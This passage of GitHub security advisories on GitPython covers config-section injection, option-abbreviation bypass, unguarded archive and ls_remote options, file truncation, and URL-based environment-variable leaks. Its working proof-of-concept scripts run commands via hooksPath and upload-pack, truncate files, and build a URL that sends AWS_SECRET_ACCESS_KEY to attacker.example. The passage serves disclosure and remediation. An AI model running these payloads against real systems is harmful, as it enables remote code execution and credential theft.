git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable. #### Severity - CVSS Score: 7.0 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w) - [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-mv93-w799-cj2w) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist [GHSA-2f96-g7mh-g2hx](https://github.com/advisories/GHSA-2f96-g7mh-g2hx) <details> <summary>More information</summary> #### Details ##### Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4) **Component:** gitpython-developers/GitPython (PyPI: GitPython) **Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`) **CWE:** CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection) **Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) — final scoring deferred to maintainer/CNA, mirroring the parent. **Reporter:** hackkim ##### Summary The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`. The fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration. ##### The asymmetry (root cause) ```python ##### git/cmd.py (commit 20c5e275), lines 948-974 @&#8203;classmethod def _canonicalize_option_name(cls, option): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(None, 1) if not option_tokens: return "" return dashify(option_tokens[0]) # only transform: "_" -> "-" @&#8203;classmethod def check_unsafe_options(cls, options, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} for option in options: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option)) if unsafe_option is not None: raise UnsafeOptionError(...) ``` The guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option. ##### Affected code (commit `20c5e275`) | Location | Role | |---|---| | `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion | | `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) | | `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI | | `git/repo/base.py:1411,1413` | clone call sites | | `git/remote.py:1074,1128,1201` | fetch / pull / push call sites | ##### Bypass keys (verified) | kwarg key | git resolves to | path | weaponizable | |---|---|---|---| | `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE | | `receive_p` | `--receive-pack` | push | Yes — direct RCE | | `exe` | `--exec` | push | Yes — direct RCE | | `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) | ##### Minimal PoC Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current `main` (git 2.50.1): ```python import os, stat, tempfile from git import Repo work = tempfile.mkdtemp() marker = os.path.join(work, "RCE_MARKER") ##### fake "upload-pack" program that proves arbitrary command execution prog = os.path.join(work, "evil.sh") with open(prog, "w") as f: f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC) bare = os.path.join(work, "remote.git") Repo.init(bare, bare=True) ##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog> try: Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog) except Exception: pass # git aborts with GitCommandError AFTER the payload executed print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed ``` Equivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`. Confirmed behavior: - `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form. - `allow_unsafe_options=True` opt-out behaves as documented (out of scope). ##### Honest scope note Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats. On the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical. ##### Suggested remediation (any one) 1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`). 2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation. 3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist. Remediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx) - [https://github.com/gitpython-developers/GitPython/pull/2161](https://github.com/gitpython-developers/GitPython/pull/2161) - [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2f96-g7mh-g2hx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()` [GHSA-956x-8gvw-wg5v](https://github.com/advisories/GHSA-956x-8gvw-wg5v) <details> <summary>More information</summary> #### Details ##### Summary GitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, …) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`. That enforcement is only wired into the **network** commands — `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**: 1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{"remote": ".", "exec": "<cmd>"}` becomes `git archive --remote=. --exec=<cmd> -- <treeish>`, and `git archive --remote=<local repo>` invokes `git-upload-archive` whose path is overridden by `--exec` → **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed). 2. **`repo.git.ls_remote(<url>, upload_pack="<cmd>")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=<cmd>` with no guard → **arbitrary command execution**. 3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources). The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks. ##### Details GitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`: ```python unsafe_git_fetch_options = [ # Arbitrary command execution. "--upload-pack", "--receive-pack", # Arbitrary file overwrite. "--exec", ] ``` and enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`): ```python def check_unsafe_options(cls, options, unsafe_options): ... if unsafe_option is not None: raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.") ``` But `check_unsafe_options` is invoked from **only five sites**, all network commands: ``` git/remote.py:1071 Remote.fetch git/remote.py:1125 Remote.pull git/remote.py:1198 Remote.push git/repo/base.py:1410 / :1412 Repo.clone_from ``` The following sinks call `git` with caller-controlled options/positionals and are **not** guarded: ##### 1. `Repo.archive` — command execution (`git/repo/base.py:1623`) ```python def archive(self, ostream, treeish=None, prefix=None, **kwargs): ... self.git.archive("--", treeish, *path, **kwargs) return self ``` `treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--<name>=<value>` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv: ``` git archive --remote=. --exec=<cmd> -- <treeish> ``` `git archive --remote=<repo>` runs the upload-archive helper; `--exec=<cmd>` overrides the helper path, executing `<cmd>` on the host. This works with **default Git config** — it does not rely on the `ext::` transport (which is blocked by default). ##### 2. `repo.git.ls_remote(..., upload_pack=...)` — command execution (dynamic builder, `git/cmd.py:1487`) `transform_kwarg` dashifies `upload_pack` → `--upload-pack=<value>`. `git ls-remote <local-repo> --upload-pack=<cmd>` executes `<cmd>`. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.<anything>(**user_dict)`), and `ls_remote` has no `check_unsafe_options`. This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` — but `ls_remote` and the rest of the dynamic surface were left unpatched. ##### 3. `Repo.iter_commits` / `Repo.blame` — arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`) ```python ##### Commit.iter_items (reached via Repo.iter_commits) proc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == ["--", *paths] ``` ```python ##### Repo.blame data = self.git.blame(rev, *rev_opts, "--", file, p=True, stdout_as_string=False, **kwargs) ``` `rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev="--output=/path"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces: ``` git rev-list --output=/path -- ``` `git rev-list`/`log`/`blame` honour `--output=<file>`, which `open()`s and truncates the file *before* validating the revision — so the file is destroyed even though Git then errors out on the bad revision. ##### PoC All three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect. ##### Install ```bash python3 -m venv venv && . venv/bin/activate pip install GitPython # resolves to 3.1.50 python -c "import git; print(git.__version__)" # 3.1.50 ``` ##### PoC 1 — command execution via `Repo.archive` ```python ##### archive_rce.py import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) marker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker') if os.path.exists(marker): os.remove(marker) ##### a service lets a user export a repo and forwards their options dict opts = {'remote': '.', 'exec': 'touch ' + marker} try: repo.archive(io.BytesIO(), **opts) except git.exc.GitCommandError as e: print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60]) print('[+] marker present:', os.path.exists(marker)) ``` Verbatim output: ``` [*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128) [+] marker present: True ``` `git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required. ##### PoC 2 — command execution via `git.ls_remote(upload_pack=...)` ```python ##### lsremote_rce.py import os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) marker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker') if os.path.exists(marker): os.remove(marker) try: repo.git.ls_remote('.', upload_pack='touch '+marker+';') except git.exc.GitCommandError as e: print('[*] git err:', str(e).splitlines()[0][:50]) print('[+] ls-remote marker present:', os.path.exists(marker)) ``` Verbatim output: ``` [*] git err: Cmd('git') failed due to: exit code(128) [+] ls-remote marker present: True ``` ##### PoC 3 — arbitrary file overwrite via a benign-looking `rev` ```python ##### itercommits_filewrite.py import os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) victim = os.path.join(tempfile.gettempdir(),'gp_fw_victim') open(victim,'w').write('do not delete\n') print('[*] before:', repr(open(victim).read())) user_ref = '--output=' + victim # value an app forwards as a "ref/branch" try: list(repo.iter_commits(user_ref)) except git.exc.GitCommandError as e: print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50]) print('[+] after :', repr(open(victim).read()), '<- truncated') ``` Verbatim output: ``` [*] before: 'do not delete\n' [*] git err (after open+truncate): Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` #### Severity - CVSS Score: 8.4 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v) - [https://github.com/gitpython-developers/GitPython/pull/2163](https://github.com/gitpython-developers/GitPython/pull/2163) - [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-956x-8gvw-wg5v) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL [GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) <details> <summary>More information</summary> #### Details ##### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ##### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @&#8203;classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ##### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and transmitted to the attacker-named host. The PoC intercepts the Popen argv to show the exact URL handed to `git` without performing real network I/O. """ import os import sys import subprocess import tempfile ##### Simulate a sensitive server-side environment variable. os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" import git # noqa: E402 from git import Git, Repo # noqa: E402 print(f"gitpython version: {git.__version__}") ##### --- Layer 1: Git.polish_url() directly -------------------------------------- attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git" polished = Git.polish_url(attacker_url) print("\n[Layer 1] polish_url result:") print(f" input : {attacker_url}") print(f" output: {polished}") if os.environ["AWS_SECRET_ACCESS_KEY"] in polished: print(" -> secret SUBSTITUTED into URL by polish_url()") ##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ---------- captured = {} orig_popen = subprocess.Popen class CapturingPopen(orig_popen): def __init__(self, cmd, *a, **kw): if isinstance(cmd, (list, tuple)) and "clone" in cmd: captured["cmd"] = list(cmd) super().__init__(cmd, *a, **kw) subprocess.Popen = CapturingPopen import git.cmd as gitcmd # noqa: E402 gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") try: Repo.clone_from(attacker_url, os.path.join(dest, "out")) except Exception as e: # The clone fails (attacker.example does not resolve); we only need argv. print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}") subprocess.Popen = orig_popen print("\n[Layer 2] argv passed to `git clone` subprocess:") for tok in captured.get("cmd", []): print(f" {tok}") cmd = captured.get("cmd", []) url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None print(f"\n[Layer 2] URL argument given to git: {url_arg}") secret = os.environ["AWS_SECRET_ACCESS_KEY"] if url_arg and secret in url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated " "into the remote clone URL; git would transmit it to attacker.example." ) sys.exit(0) print("\nNOT VULNERABLE") sys.exit(1) ``` Expected output: ``` gitpython version: 3.1.50 [Layer 1] polish_url result: input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> secret SUBSTITUTED into URL by polish_url() [Layer 2] clone_from raised (expected): GitCommandError [Layer 2] argv passed to `git clone` subprocess: git clone -v -- https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example. ``` The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path. ##### Impact Any application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact. **Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) - [https://github.com/gitpython-developers/GitPython/pull/2172](https://github.com/gitpython-developers/GitPython/pull/2172) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rwj8-pgh3-r573) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) [GHSA-3rp5-jjmw-4wv2](https://github.com/advisories/GHSA-3rp5-jjmw-4wv2) <details> <summary>More information</summary> #### Details ##### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ##### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ##### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) ##### A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl) ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0] print("control name :", repr(benign)) print(" git core.sshCommand 